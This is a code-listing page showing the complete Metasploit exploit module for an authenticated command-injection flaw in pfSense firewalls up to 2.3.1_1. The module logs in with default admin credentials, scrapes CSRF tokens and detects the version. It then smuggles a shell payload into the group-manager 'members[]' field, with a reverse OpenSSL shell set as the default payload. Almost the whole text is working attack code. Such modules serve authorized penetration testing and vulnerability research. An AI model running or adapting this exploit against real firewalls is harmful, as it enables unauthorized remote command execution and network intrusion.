Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/pfsense_group_member_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'pfSense authenticated group member RCE',15'Description' => %q(16pfSense, a free BSD based open source firewall distribution,17version <= 2.3.1_1 contains a remote command execution18vulnerability post authentication in the system_groupmanager.php page.19Verified against 2.2.6 and 2.3.20),21'Author' =>22[23's4squatch', # discovery24'h00die' # module25],26'References' =>27[28[ 'EDB', '43128' ],29[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']30],31'License' => MSF_LICENSE,32'Platform' => 'unix',33'Privileged' => false,34'DefaultOptions' =>35{36'SSL' => true,37'PAYLOAD' => 'cmd/unix/reverse_openssl'38},39'Arch' => [ ARCH_CMD ],40'Payload' =>41{42'Compat' =>43{44'PayloadType' => 'cmd',45'RequiredCmd' => 'perl openssl'46}47},48'Targets' =>49[50[ 'Automatic Target', {}]51],52'DefaultTarget' => 0,53'DisclosureDate' => '2017-11-06'54)55)5657register_options(58[59OptString.new('USERNAME', [ true, 'User to login with', 'admin']),60OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),61Opt::RPORT(443)62], self.class63)64end6566def login67res = send_request_cgi(68'uri' => '/index.php',69'method' => 'GET'70)71fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?72fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 2007374/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body75fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?76vprint_status("CSRF Token for login: #{csrf}")7778res = send_request_cgi(79'uri' => '/index.php',80'method' => 'POST',81'vars_post' => {82'__csrf_magic' => csrf,83'usernamefld' => datastore['USERNAME'],84'passwordfld' => datastore['PASSWORD'],85'login' => ''86}87)88unless res89fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")90end91if res.code == 30292vprint_status('Successful Authentication')93return res.get_cookies94else95fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")96return nil97end98end99100def detect_version(cookie)101res = send_request_cgi(102'uri' => '/index.php',103'method' => 'GET',104'cookie' => cookie105)106unless res107fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")108end109/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body110if version111print_status("pfSense Version Detected: #{version}")112return Rex::Version.new(version)113end114# If the device isn't fully setup, you get stuck at redirects to wizard.php115# however, this does NOT stop exploitation strangely116print_error("pfSens Version Not Detected or wizard still enabled.")117Rex::Version.new('0.0')118end119120def check121begin122res = send_request_cgi(123'uri' => '/index.php',124'method' => 'GET'125)126fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?127fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200128if /Login to pfSense/ =~ res.body129Exploit::CheckCode::Detected130else131Exploit::CheckCode::Safe132end133rescue ::Rex::ConnectionError134fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")135end136end137138def exploit139begin140cookie = login141version = detect_version(cookie)142vprint_good('Login Successful')143res = send_request_cgi(144'uri' => '/system_groupmanager.php',145'method' => 'GET',146'cookie' => cookie,147'vars_get' => {148'act' => 'new'149}150)151152/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body153fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?154vprint_status("CSRF Token for group creation: #{csrf}")155156group_name = rand_text_alpha(10)157post_vars = {158'__csrf_magic' => csrf,159'groupname' => group_name,160'description' => '',161'members[]' => "0';#{payload.encoded};'",162'groupid' => '',163'save' => 'Save'164}165if version >= Rex::Version.new('2.3')166post_vars = post_vars.merge('gtype' => 'local')167elsif version <= Rex::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed168post_vars = post_vars.merge(169'act' => '',170'gtype' => '',171'privid' => ''172)173end174send_request_cgi(175'uri' => '/system_groupmanager.php',176'method' => 'POST',177'cookie' => cookie,178'vars_post' => post_vars,179'vars_get' => {180'act' => 'edit'181}182)183print_status("Manual removal of group #{group_name} is required.")184rescue ::Rex::ConnectionError185fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")186end187end188end189190191